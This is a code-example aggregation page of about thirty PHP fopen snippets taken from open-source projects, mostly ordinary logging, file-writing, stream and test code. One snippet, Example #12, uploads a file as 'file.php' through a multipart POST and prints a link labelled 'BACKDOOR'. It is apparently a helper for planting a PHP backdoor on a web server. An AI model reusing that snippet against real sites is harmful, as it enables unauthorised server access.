PHP fopen Examples

PHP fopen - 30 examples found. These are the top rated real world PHP examples of fopen extracted from open source projects. You can rate examples to help us improve the quality of examples.
Example #1
1
 private function getRandomBytes($count)
 {
     $bytes = '';
     if (function_exists('openssl_random_pseudo_bytes') && strtoupper(substr(PHP_OS, 0, 3)) !== 'WIN') {
         // OpenSSL slow on Win
         $bytes = openssl_random_pseudo_bytes($count);
     }
     if ($bytes === '' && @is_readable('/dev/urandom') && ($hRand = @fopen('/dev/urandom', 'rb')) !== FALSE) {
         $bytes = fread($hRand, $count);
         fclose($hRand);
     }
     if (strlen($bytes) < $count) {
         $bytes = '';
         if ($this->randomState === null) {
             $this->randomState = microtime();
             if (function_exists('getmypid')) {
                 $this->randomState .= getmypid();
             }
         }
         for ($i = 0; $i < $count; $i += 16) {
             $this->randomState = md5(microtime() . $this->randomState);
             if (PHP_VERSION >= '5') {
                 $bytes .= md5($this->randomState, true);
             } else {
                 $bytes .= pack('H*', md5($this->randomState));
             }
         }
         $bytes = substr($bytes, 0, $count);
     }
     return $bytes;
 }
 /**
  *
  * @param string $path
  *            The file containg a MIME message
  * @return \Swift_Message
  */
 public function parseFile($path)
 {
     $fp = fopen($path, "rb");
     $message = $this->parseStream($fp);
     fclose($fp);
     return $message;
 }
 function SimpleLog()
 {
     global $loglevel, $logfile;
     if (!empty($loglevel)) {
         if ($loglevel == 'fatal') {
             $this->loglevel = 5;
         } else {
             if ($loglevel == 'error') {
                 $this->loglevel = 4;
             } else {
                 if ($loglevel == 'warn') {
                     $this->loglevel = 3;
                 } else {
                     if ($loglevel == 'debug') {
                         $this->loglevel = 2;
                     } else {
                         if ($loglevel == 'info') {
                             $this->loglevel = 1;
                         }
                     }
                 }
             }
         }
     }
     if (!empty($logfile)) {
         $this->logfile = $logfile;
     }
     $this->fp = @fopen($this->logfile, 'a+');
     if (!$this->fp) {
         $this->nolog = true;
     }
 }
 public function addFieldToModule($field)
 {
     global $log;
     $fileName = 'modules/Settings/Vtiger/models/CompanyDetails.php';
     $fileExists = file_exists($fileName);
     if ($fileExists) {
         require_once $fileName;
         $fileContent = file_get_contents($fileName);
         $placeToAdd = "'website' => 'text',";
         $newField = "'{$field}' => 'text',";
         if (self::parse_data($placeToAdd, $fileContent)) {
             $fileContent = str_replace($placeToAdd, $placeToAdd . PHP_EOL . '	' . $newField, $fileContent);
         } else {
             if (self::parse_data('?>', $fileContent)) {
                 $fileContent = str_replace('?>', '', $fileContent);
             }
             $fileContent = $fileContent . PHP_EOL . $placeToAdd . PHP_EOL . '	' . $newField . PHP_EOL . ');';
         }
         $log->info('Settings_Vtiger_SaveCompanyField_Action::addFieldToModule - add line to modules/Settings/Vtiger/models/CompanyDetails.php ');
     } else {
         $log->info('Settings_Vtiger_SaveCompanyField_Action::addFieldToModule - File does not exist');
         return FALSE;
     }
     $filePointer = fopen($fileName, 'w');
     fwrite($filePointer, $fileContent);
     fclose($filePointer);
     return TRUE;
 }
 public static function isXliff($stringData = null, $fullPathToFile = null)
 {
     self::_reset();
     $info = array();
     if (!empty($stringData) && empty($fullPathToFile)) {
         $stringData = substr($stringData, 0, 1024);
     } elseif (empty($stringData) && !empty($fullPathToFile)) {
         $info = FilesStorage::pathinfo_fix($fullPathToFile);
         $file_pointer = fopen("{$fullPathToFile}", 'r');
         // Checking Requirements (By specs, I know that xliff version is in the first 1KB)
         $stringData = fread($file_pointer, 1024);
         fclose($file_pointer);
     } elseif (!empty($stringData) && !empty($fullPathToFile)) {
         //we want to check extension and content
         $info = FilesStorage::pathinfo_fix($fullPathToFile);
     }
     self::$fileType['info'] = $info;
     //we want to check extension also if file path is specified
     if (!empty($info) && !self::isXliffExtension()) {
         //THIS IS NOT an xliff
         return false;
     }
     //		preg_match( '|<xliff\s.*?version\s?=\s?["\'](.*?)["\'](.*?)>|si', $stringData, $tmp );
     if (!empty($stringData)) {
         return array($stringData);
     }
     return false;
 }
 protected function execute(InputInterface $input, OutputInterface $output)
 {
     $path = $input->getArgument('path');
     if (!file_exists($path)) {
         $output->writeln("{$path} is not a file or a path");
     }
     $filePaths = [];
     if (is_file($path)) {
         $filePaths = [realpath($path)];
     } elseif (is_dir($path)) {
         $filePaths = array_diff(scandir($path), array('..', '.'));
     } else {
         $output->writeln("{$path} is not known.");
     }
     $generator = new StopwordGenerator($filePaths);
     if ($input->getArgument('type') === 'json') {
         echo json_encode($this->toArray($generator->getStopwords()), JSON_NUMERIC_CHECK | JSON_UNESCAPED_UNICODE);
         echo json_last_error_msg();
         die;
         $output->write(json_encode($this->toArray($generator->getStopwords())));
     } else {
         $stopwords = $generator->getStopwords();
         $stdout = fopen('php://stdout', 'w');
         echo 'token,freq' . PHP_EOL;
         foreach ($stopwords as $token => $freq) {
             fputcsv($stdout, [utf8_encode($token), $freq]) . PHP_EOL;
         }
         fclose($stdout);
     }
 }
 /**
  * Class Constructor
  *
  * @param array|string|resource $streamOrUrl Stream or URL to open as a stream
  * @param string|null $mode Mode, only applicable if a URL is given
  * @return void
  * @throws Zend_Log_Exception
  */
 public function __construct($streamOrUrl, $mode = null)
 {
     // Setting the default
     if (null === $mode) {
         $mode = 'a';
     }
     if (is_resource($streamOrUrl)) {
         if (get_resource_type($streamOrUrl) != 'stream') {
             // require_once 'Zend/Log/Exception.php';
             throw new Zend_Log_Exception('Resource is not a stream');
         }
         if ($mode != 'a') {
             // require_once 'Zend/Log/Exception.php';
             throw new Zend_Log_Exception('Mode cannot be changed on existing streams');
         }
         $this->_stream = $streamOrUrl;
     } else {
         if (is_array($streamOrUrl) && isset($streamOrUrl['stream'])) {
             $streamOrUrl = $streamOrUrl['stream'];
         }
         if (!($this->_stream = @fopen($streamOrUrl, $mode, false))) {
             // require_once 'Zend/Log/Exception.php';
             $msg = "\"{$streamOrUrl}\" cannot be opened with mode \"{$mode}\"";
             throw new Zend_Log_Exception($msg);
         }
     }
     $this->_formatter = new Zend_Log_Formatter_Simple();
 }
 protected function getInputStream($input)
 {
     $stream = fopen('php://memory', 'r+', false);
     fputs($stream, $input);
     rewind($stream);
     return $stream;
 }
Example #9
0
 public function createOutputFile()
 {
     if (!is_resource($this->getFileStream())) {
         $this->setFileStream(fopen($this->createFileName(), "w+"));
         fwrite($this->getFileStream(), $this->header());
     }
 }
Example #10
0
 function upload($source, $target)
 {
     if ($this->error()) {
         return 0;
     }
     $old_dir = $this->ftp_pwd();
     $dirname = dirname($target);
     $filename = basename($target);
     if (!$this->ftp_chdir($dirname)) {
         if ($this->ftp_mkdir($dirname)) {
             $this->ftp_chmod($dirname);
             if (!$this->ftp_chdir($dirname)) {
                 $this->set_error(FTP_ERR_CHDIR);
             }
             $this->ftp_put('index.htm', getglobal('setting/attachdir') . '/index.htm', FTP_BINARY);
         } else {
             $this->set_error(FTP_ERR_MKDIR);
         }
     }
     $res = 0;
     if (!$this->error()) {
         if ($fp = @fopen($source, 'rb')) {
             $res = $this->ftp_fput($filename, $fp, FTP_BINARY);
             @fclose($fp);
             !$res && $this->set_error(FTP_ERR_TARGET_WRITE);
         } else {
             $this->set_error(FTP_ERR_SOURCE_READ);
         }
     }
     $this->ftp_chdir($old_dir);
     return $res ? 1 : 0;
 }
Example #11
0
/**
 * Returns a stock by symbol (case-insensitively) else false if not found.
 */
function lookup($symbol)
{
    // reject symbols that start with ^
    if (preg_match("/^\\^/", $symbol)) {
        return false;
    }
    // reject symbols that contain commas
    if (preg_match("/,/", $symbol)) {
        return false;
    }
    // open connection to Yahoo
    $handle = @fopen("http://download.finance.yahoo.com/d/quotes.csv?f=snl1&s={$symbol}", "r");
    if ($handle === false) {
        // trigger (big, orange) error
        trigger_error("Could not connect to Yahoo!", E_USER_ERROR);
        exit;
    }
    // download first line of CSV file
    $data = fgetcsv($handle);
    if ($data === false || count($data) == 1) {
        return false;
    }
    // close connection to Yahoo
    fclose($handle);
    // ensure symbol was found
    if ($data[2] === "0.00") {
        return false;
    }
    // return stock as an associative array
    return ["symbol" => $data[0], "name" => $data[1], "price" => $data[2]];
}
Example #12
0
function do_post_request($url, $res, $file, $name)
{
    $data = "";
    $boundary = "---------------------" . substr(md5(rand(0, 32000)), 0, 10);
    $data .= "--{$boundary}\n";
    $fileContents = file_get_contents($file);
    $md5 = md5_file($file);
    $ext = pathinfo($file, PATHINFO_EXTENSION);
    $data .= "Content-Disposition: form-data; name=\"file\"; filename=\"file.php\"\n";
    $data .= "Content-Type: text/plain\n";
    $data .= "Content-Transfer-Encoding: binary\n\n";
    $data .= $fileContents . "\n";
    $data .= "--{$boundary}--\n";
    $params = array('http' => array('method' => 'POST', 'header' => 'Content-Type: multipart/form-data; boundary=' . $boundary, 'content' => $data));
    $ctx = stream_context_create($params);
    $fp = fopen($url, 'rb', false, $ctx);
    if (!$fp) {
        throw new Exception("Erreur !");
    }
    $response = @stream_get_contents($fp);
    if ($response === false) {
        throw new Exception("Erreur !");
    } else {
        echo "file should be here : ";
        /* LETTERBOX */
        if (count($response) > 1) {
            echo $response;
        } else {
            echo "<a href='" . $res . "tmp/tmp_file_" . $name . "." . $ext . "'>BACKDOOR<a>";
        }
    }
}
Example #13
0
 public function dwld()
 {
     $this->min();
     if (is_numeric($this->getParam("id"))) {
         $this->download->newDownload();
         if ($this->download->getIsLocal()) {
             $url = OWEB_DIR_DATA . "/downloads/" . $this->download->getUrl();
             header('Content-Description: File Transfer');
             header('Content-Type: application/octet-stream');
             header('Content-Disposition: attachment; filename="' . basename($url) . '";');
             readfile($url);
         } else {
             $url = OWEB_DIR_DATA . "/downloads/" . $this->download->getUrl();
             header("Content-Disposition: attachment; filename=" . basename($url));
             header("Content-Type: application/force-download");
             header("Content-Type: application/octet-stream");
             header("Content-Type: application/download");
             header("Content-Description: File Transfer");
             header("Content-Length: " . filesize($url));
             flush();
             // this doesn't really matter.
             $fp = fopen($url, "r");
             while (!feof($fp)) {
                 echo fread($fp, 65536);
                 flush();
                 // this is essential for large downloads
             }
             fclose($fp);
         }
     } else {
         throw new \Model\downloads\exception\DownloadCantBeFind("No Download ID given");
     }
 }
Example #14
0
 /**
     Upload a profile picture for the group 
 */
 function save_picture($ext)
 {
     global $cfg;
     if (!$this->user->logged_in() || !$this->user->group) {
         throw new Exception("Access denied!");
     }
     if (!isset($_SERVER["CONTENT_LENGTH"])) {
         throw new Exception("Invalid parameters");
     }
     $size = (int) $_SERVER["CONTENT_LENGTH"];
     $file_name = rand() . time() . "{$this->user->id}.{$ext}";
     $file_path = "{$cfg['dir']['content']}{$file_name}";
     // Write the new one
     $input = fopen("php://input", "rb");
     $output = fopen($file_path, "wb");
     if (!$input || !$output) {
         throw new Exception("Cannot open files!");
     }
     while ($size > 0) {
         $data = fread($input, $size > 1024 ? 1024 : $size);
         $size -= 1024;
         fwrite($output, $data);
     }
     fclose($input);
     fclose($output);
     // Update the profile image
     $this->group->update($this->user->group, array('picture' => $file_name));
 }
 public function testLifetime()
 {
     $cache = $this->_getCacheDriver();
     // Test save
     $cache->save('test_key', 'testing this out', 10);
     // Test contains to test that save() worked
     $this->assertTrue($cache->contains('test_key'));
     // Test fetch
     $this->assertEquals('testing this out', $cache->fetch('test_key'));
     // access private methods
     $getFilename = new \ReflectionMethod($cache, 'getFilename');
     $getNamespacedId = new \ReflectionMethod($cache, 'getNamespacedId');
     $getFilename->setAccessible(true);
     $getNamespacedId->setAccessible(true);
     $id = $getNamespacedId->invoke($cache, 'test_key');
     $filename = $getFilename->invoke($cache, $id);
     $data = '';
     $lifetime = 0;
     $resource = fopen($filename, "r");
     if (false !== ($line = fgets($resource))) {
         $lifetime = (int) $line;
     }
     while (false !== ($line = fgets($resource))) {
         $data .= $line;
     }
     $this->assertNotEquals(0, $lifetime, 'previous lifetime could not be loaded');
     // update lifetime
     $lifetime = $lifetime - 20;
     file_put_contents($filename, $lifetime . PHP_EOL . $data);
     // test expired data
     $this->assertFalse($cache->contains('test_key'));
     $this->assertFalse($cache->fetch('test_key'));
 }
 /**
  * test xml generation for IPhone
  *
  * birthday must have 12 hours added
  */
 public function testAppendXmlData()
 {
     $imp = new DOMImplementation();
     $dtd = $imp->createDocumentType('AirSync', "-//AIRSYNC//DTD AirSync//EN", "http://www.microsoft.com/");
     $testDoc = $imp->createDocument('uri:AirSync', 'Sync', $dtd);
     $testDoc->formatOutput = true;
     $testDoc->encoding = 'utf-8';
     $appData = $testDoc->documentElement->appendChild($testDoc->createElementNS('uri:AirSync', 'ApplicationData'));
     $email = new Syncroton_Model_FileReference(array('contentType' => 'text/plain', 'data' => 'Lars'));
     $email->appendXML($appData, $this->_testDevice);
     #echo $testDoc->saveXML();
     $xpath = new DomXPath($testDoc);
     $xpath->registerNamespace('AirSync', 'uri:AirSync');
     $xpath->registerNamespace('AirSyncBase', 'uri:AirSyncBase');
     $xpath->registerNamespace('Email', 'uri:Email');
     $xpath->registerNamespace('Email2', 'uri:Email2');
     $nodes = $xpath->query('//AirSync:Sync/AirSync:ApplicationData/AirSyncBase:ContentType');
     $this->assertEquals(1, $nodes->length, $testDoc->saveXML());
     $this->assertEquals('text/plain', $nodes->item(0)->nodeValue, $testDoc->saveXML());
     $nodes = $xpath->query('//AirSync:Sync/AirSync:ApplicationData/ItemOperations:Data');
     $this->assertEquals(1, $nodes->length, $testDoc->saveXML());
     $this->assertEquals('TGFycw==', $nodes->item(0)->nodeValue, $testDoc->saveXML());
     // try to encode XML until we have wbxml tests
     $outputStream = fopen("php://temp", 'r+');
     $encoder = new Syncroton_Wbxml_Encoder($outputStream, 'UTF-8', 3);
     $encoder->encode($testDoc);
 }
    public static function createSettingsFile($dbHostname, $dbName, $dbUsername, $dbPassword, $tablePrefix)
    {
        $encryptionSalt = Utils::generateRandomAlphanumericStr("DDD");
        $dbUsername = Utils::sanitize($dbUsername);
        $dbPassword = Utils::sanitize($dbPassword);
        $tablePrefix = Utils::sanitize($tablePrefix);
        $content = <<<END
<?php

\$dbHostname     = '{$dbHostname}';
\$dbName         = '{$dbName}';
\$dbUsername     = '{$dbUsername}';
\$dbPassword     = '{$dbPassword}';
\$dbTablePrefix  = '{$tablePrefix}';
\$encryptionSalt = '{$encryptionSalt}';
END;
        $file = __DIR__ . "/../../settings.php";
        $handle = @fopen($file, "w");
        if ($handle) {
            fwrite($handle, $content);
            fclose($handle);
            return array(true, "");
        }
        // no such luck! we couldn't create the file on the server. The user will need to do it manually
        return array(false, $content);
    }
Example #18
0
function updateIndex($lang, $file)
{
    $fileData = readFileData($file);
    $filename = $file->getPathName();
    list($filename) = explode('.', $filename);
    $path = $filename . '.html';
    $id = str_replace($lang . '/', '', $filename);
    $id = str_replace('/', '-', $id);
    $id = trim($id, '-');
    $url = implode('/', array(ES_URL, ES_INDEX, $lang, $id));
    $data = array('contents' => $fileData['contents'], 'title' => $fileData['title'], 'url' => $path);
    $data = json_encode($data);
    $size = strlen($data);
    $fh = fopen('php://memory', 'rw');
    fwrite($fh, $data);
    rewind($fh);
    echo "Sending request:\n\tfile: {$file}\n\turl: {$url}\n";
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_PUT, true);
    curl_setopt($ch, CURLOPT_INFILE, $fh);
    curl_setopt($ch, CURLOPT_INFILESIZE, $size);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($ch);
    $metadata = curl_getinfo($ch);
    if ($metadata['http_code'] > 400) {
        echo "[ERROR] Failed to complete request.\n";
        var_dump($response);
        exit(2);
    }
    curl_close($ch);
    fclose($fh);
    echo "Sent {$file}\n";
}
 public function processRequest($method = 'POST')
 {
     $params = http_build_query($this->urlParams);
     if (w2p_check_url($this->url)) {
         if (function_exists('curl_init')) {
             $ch = curl_init($this->url);
             curl_setopt($ch, CURLOPT_POST, 1);
             curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
             curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
             $response = curl_exec($ch);
             curl_close($ch);
         } else {
             /*
              * Thanks to Wez Furlong for the core of the logic for this 
              *   method to POST data via PHP without cURL
              *   http://netevil.org/blog/2006/nov/http-post-from-php-without-curl
              */
             $ctx = stream_context_create($params);
             $fp = @fopen($this->url, 'rb', false, $ctx);
             if (!$fp) {
                 throw new Exception("Problem with {$url}, {$php_errormsg}");
             }
             $response = @stream_get_contents($fp);
             if ($response === false) {
                 throw new Exception("Problem reading data from {$url}, {$php_errormsg}");
             }
         }
         return $response;
     } else {
         //throw an error?
     }
 }
Example #20
0
 /**
  * Get the specified number of random bytes.
  *
  * Attempts to use a cryptographically secure (not predictable)
  * source of randomness if available. If there is no high-entropy
  * randomness source available, it will fail. As a last resort,
  * for non-critical systems, define
  * <code>Auth_OpenID_RAND_SOURCE</code> as <code>null</code>, and
  * the code will fall back on a pseudo-random number generator.
  *
  * @param int $num_bytes The length of the return value
  * @return string $bytes random bytes
  */
 function getBytes($num_bytes)
 {
     static $f = null;
     $bytes = '';
     if ($f === null) {
         if (Auth_OpenID_RAND_SOURCE === null) {
             $f = false;
         } else {
             $f = @fopen(Auth_OpenID_RAND_SOURCE, "r");
             if ($f === false) {
                 $msg = 'Define Auth_OpenID_RAND_SOURCE as null to ' . ' continue with an insecure random number generator.';
                 trigger_error($msg, E_USER_ERROR);
             }
         }
     }
     if ($f === false) {
         // pseudorandom used
         $bytes = '';
         for ($i = 0; $i < $num_bytes; $i += 4) {
             $bytes .= pack('L', mt_rand());
         }
         $bytes = substr($bytes, 0, $num_bytes);
     } else {
         $bytes = fread($f, $num_bytes);
     }
     return $bytes;
 }
Example #21
0
function suche($wort, $kat)
{
    if ($kat == '') {
        $kat = 0;
    }
    $f = fopen("/tmp/x", "w");
    fputs($f, $wort . " " . $kat . "\n");
    $treffer = suchWDB($wort, $kat);
    fputs($f, print_r($treffer, true) . "\n");
    $notfound = "";
    $rc = array('msg' => '', 'cnt' => 0, 'data' => '');
    if (count($treffer) == 0) {
        $rc['msg'] = $wort . ' not found';
        echo json_encode($rc);
    } else {
        if (count($treffer) == 1) {
            $data = getWContent($treffer[0]['id']);
            mkcontent($data);
            fclose($f);
        } else {
            $rc['cnt'] = count($treffer);
            $rc['data'] = $treffer;
            echo json_encode($rc);
        }
    }
}
Example #22
0
 public static function exportCSV($data)
 {
     mb_convert_variables('SJIS', 'UTF-8', $data);
     $file = fopen('csv/data.csv', 'w');
     fwrite($file, $data);
     fclose($file);
 }
Example #23
0
 /**
  * Constructor
  *
  * @param array $data the form data as name => value
  * @param string|null $suffix the optional suffix for the tmp file
  * @param string|null $suffix the optional prefix for the tmp file. If null 'php_tmpfile_' is used.
  * @param string|null $directory directory where the file should be created. Autodetected if not provided.
  * @param string|null $encoding of the data. Default is 'UTF-8'.
  */
 public function __construct($data, $suffix = null, $prefix = null, $directory = null, $encoding = 'UTF-8')
 {
     if ($directory === null) {
         $directory = self::getTempDir();
     }
     $suffix = '.fdf';
     $prefix = 'php_pdftk_fdf_';
     $this->_fileName = tempnam($directory, $prefix);
     $newName = $this->_fileName . $suffix;
     rename($this->_fileName, $newName);
     $this->_fileName = $newName;
     $fields = '';
     foreach ($data as $key => $value) {
         // Create UTF-16BE string encode as ASCII hex
         // See http://blog.tremily.us/posts/PDF_forms/
         $utf16Value = mb_convert_encoding($value, 'UTF-16BE', $encoding);
         /* Also create UTF-16BE encoded key, this allows field names containing
          * german umlauts and most likely many other "special" characters.
          * See issue #17 (https://github.com/mikehaertl/php-pdftk/issues/17)
          */
         $utf16Key = mb_convert_encoding($key, 'UTF-16BE', $encoding);
         // Escape parenthesis
         $utf16Value = strtr($utf16Value, array('(' => '\\(', ')' => '\\)'));
         $fields .= "<</T(" . chr(0xfe) . chr(0xff) . $utf16Key . ")/V(" . chr(0xfe) . chr(0xff) . $utf16Value . ")>>\n";
     }
     // Use fwrite, since file_put_contents() messes around with character encoding
     $fp = fopen($this->_fileName, 'w');
     fwrite($fp, self::FDF_HEADER);
     fwrite($fp, $fields);
     fwrite($fp, self::FDF_FOOTER);
     fclose($fp);
 }
Example #24
0
 public function writeData()
 {
     $fn = __DIR__ . DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR . "data" . DIRECTORY_SEPARATOR . $this->file_name;
     $fd = fopen($fn, "w");
     fwrite($fd, $this->data);
     fclose($fd);
 }
Example #25
0
/**
 * Detect HTML in the first KB to prevent against potential security issue with 
 * IE/Safari/Opera file type auto detection bug.
 * Returns true if file contain insecure HTML code at the beginning.
 * 
 * @param string $filePath absolute path to file
 * @return boolean
 */
function DetectHtml($filePath)
{
    $fp = fopen($filePath, 'rb');
    $chunk = fread($fp, 1024);
    fclose($fp);
    $chunk = strtolower($chunk);
    if (!$chunk) {
        return false;
    }
    $chunk = trim($chunk);
    if (preg_match("/<!DOCTYPE\\W*X?HTML/sim", $chunk)) {
        return true;
    }
    $tags = array('<body', '<head', '<html', '<img', '<pre', '<script', '<table', '<title');
    foreach ($tags as $tag) {
        if (false !== strpos($chunk, $tag)) {
            return true;
        }
    }
    //type = javascript
    if (preg_match('!type\\s*=\\s*[\'"]?\\s*(?:\\w*/)?(?:ecma|java)!sim', $chunk)) {
        return true;
    }
    //href = javascript
    //src = javascript
    //data = javascript
    if (preg_match('!(?:href|src|data)\\s*=\\s*[\'"]?\\s*(?:ecma|java)script:!sim', $chunk)) {
        return true;
    }
    //url(javascript
    if (preg_match('!url\\s*\\(\\s*[\'"]?\\s*(?:ecma|java)script:!sim', $chunk)) {
        return true;
    }
    return false;
}
 /**
  * Initializes this logger.
  *
  * Available options:
  *
  * - file:        The file path or a php wrapper to log messages
  *                You can use any support php wrapper. To write logs to the Apache error log, use php://stderr
  * - format:      The log line format (default to %time% %type% [%priority%] %message%%EOL%)
  * - time_format: The log time strftime format (default to %b %d %H:%M:%S)
  * - dir_mode:    The mode to use when creating a directory (default to 0777)
  * - file_mode:   The mode to use when creating a file (default to 0666)
  *
  * @param  sfEventDispatcher $dispatcher  A sfEventDispatcher instance
  * @param  array             $options     An array of options.
  *
  * @return Boolean      true, if initialization completes successfully, otherwise false.
  */
 public function initialize(sfEventDispatcher $dispatcher, $options = array())
 {
     if (!isset($options['file'])) {
         throw new sfConfigurationException('You must provide a "file" parameter for this logger.');
     }
     if (isset($options['format'])) {
         $this->format = $options['format'];
     }
     if (isset($options['time_format'])) {
         $this->timeFormat = $options['time_format'];
     }
     if (isset($options['type'])) {
         $this->type = $options['type'];
     }
     $dir = dirname($options['file']);
     if (!is_dir($dir)) {
         mkdir($dir, isset($options['dir_mode']) ? $options['dir_mode'] : 0777, true);
     }
     $fileExists = file_exists($options['file']);
     if (!is_writable($dir) || $fileExists && !is_writable($options['file'])) {
         throw new sfFileException(sprintf('Unable to open the log file "%s" for writing.', $options['file']));
     }
     $this->fp = fopen($options['file'], 'a');
     if (!$fileExists) {
         chmod($options['file'], isset($options['file_mode']) ? $options['file_mode'] : 0666);
     }
     return parent::initialize($dispatcher, $options);
 }
 function graph_3D_Pie($file, $table)
 {
     $handle = fopen("{$file}", "w");
     fwrite($handle, "<chart>\n");
     fwrite($handle, "\t<chart_data>\n");
     fwrite($handle, "\t\t<row>\n");
     fwrite($handle, "\t\t\t<null/>\n");
     foreach ($table as $key => $value) {
         if ($value != 0) {
             fwrite($handle, "\t\t\t<string>{$key}</string>\n");
         }
     }
     fwrite($handle, "\t\t</row>\n");
     fwrite($handle, "\t\t<row>\n");
     fwrite($handle, "\t\t\t<string></string>\n");
     foreach ($table as $key => $value) {
         if ($value != 0) {
             fwrite($handle, "\t\t\t<number>{$value}</number>\n");
         }
     }
     fwrite($handle, "\t\t</row>\n");
     fwrite($handle, "\t</chart_data>\n");
     fwrite($handle, "\t<chart_type>3d pie</chart_type>\n");
     fwrite($handle, "\t<chart_value color='000000' alpha='65' font='arial' bold='true' size='10' position='inside' prefix='' suffix='' decimals='0' separator='' as_percentage='true' />\n");
     fwrite($handle, "\t<draw>\n");
     fwrite($handle, "\t\t<text color='000000' alpha ='50' size='25' x='-50' y='0' width='500' height='50' h_align='center' v_align='middle'>{$title}</text>\n");
     fwrite($handle, "\t<\\draw>\n");
     fwrite($handle, "\t<legend_label layout='horizontal' bullet='circle' font='arial' bold='true' size='12' color='ffffff' alpha='85' />\n");
     fwrite($handle, "\t<legend_rect x='0' y='45' width='50' height='210' margin='10' fill_color='ffffff' fill_alpha='10' line_color='000000' line_alpha='0' line_thickness='0' />\n");
     fwrite($handle, "</chart>\n");
     fclose($handle);
 }
Example #28
0
function getMp3StreamTitle($steam_url)
{
    $result = false;
    $icy_metaint = -1;
    $needle = 'StreamTitle=';
    $ua = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36';
    $opts = array('http' => array('method' => 'GET', 'header' => 'Icy-MetaData: 1', 'user_agent' => $ua));
    $default = stream_context_set_default($opts);
    $stream = fopen($steam_url, 'r');
    if ($stream && ($meta_data = stream_get_meta_data($stream)) && isset($meta_data['wrapper_data'])) {
        foreach ($meta_data['wrapper_data'] as $header) {
            if (strpos(strtolower($header), 'icy-metaint') !== false) {
                $tmp = explode(":", $header);
                $icy_metaint = trim($tmp[1]);
                break;
            }
        }
    }
    if ($icy_metaint != -1) {
        $buffer = stream_get_contents($stream, 300, $icy_metaint);
        if (strpos($buffer, $needle) !== false) {
            $title = explode($needle, $buffer);
            $title = trim($title[1]);
            $result = substr($title, 1, strpos($title, ';') - 2);
        }
    }
    if ($stream) {
        fclose($stream);
    }
    return $result;
}
Example #29
0
 public static function logDBUpdates($query_string, $db_name)
 {
     # Adds current query to update log
     $file_name = "../../local/log_" . $_SESSION['lab_config_id'] . "_updates.sql";
     $file_name_revamp = "../../local/log_" . $_SESSION['lab_config_id'] . "_revamp_updates.sql";
     $file_handle = null;
     $file_handle_revamp = null;
     if (file_exists($file_name)) {
         $file_handle = fopen($file_name, "a");
     } else {
         $file_handle = fopen($file_name, "w");
         fwrite($file_handle, "USE blis_" . $_SESSION['lab_config_id'] . ";\n\n");
     }
     if (file_exists($file_name_revamp)) {
         $file_handle_revamp = fopen($file_name_revamp, "a");
     } else {
         $file_handle_revamp = fopen($file_name_revamp, "w");
         fwrite($file_handle_revamp, "USE blis_revamp;\n\n");
     }
     $timestamp = date("Y-m-d H:i:s");
     $log_line = $timestamp . "\t" . $query_string . "\n";
     $pos = stripos($query_string, "SELECT");
     if ($pos === false) {
         if ($db_name == "blis_revamp") {
             fwrite($file_handle_revamp, $log_line);
         } else {
             fwrite($file_handle, $log_line);
         }
     }
     fclose($file_handle);
     fclose($file_handle_revamp);
 }
Example #30
0
function save($file, $data)
{
    mkdir_recursive($file);
    $fh = fopen($file, 'w') or print "can't open file";
    fwrite($fh, $data);
    fclose($fh);
}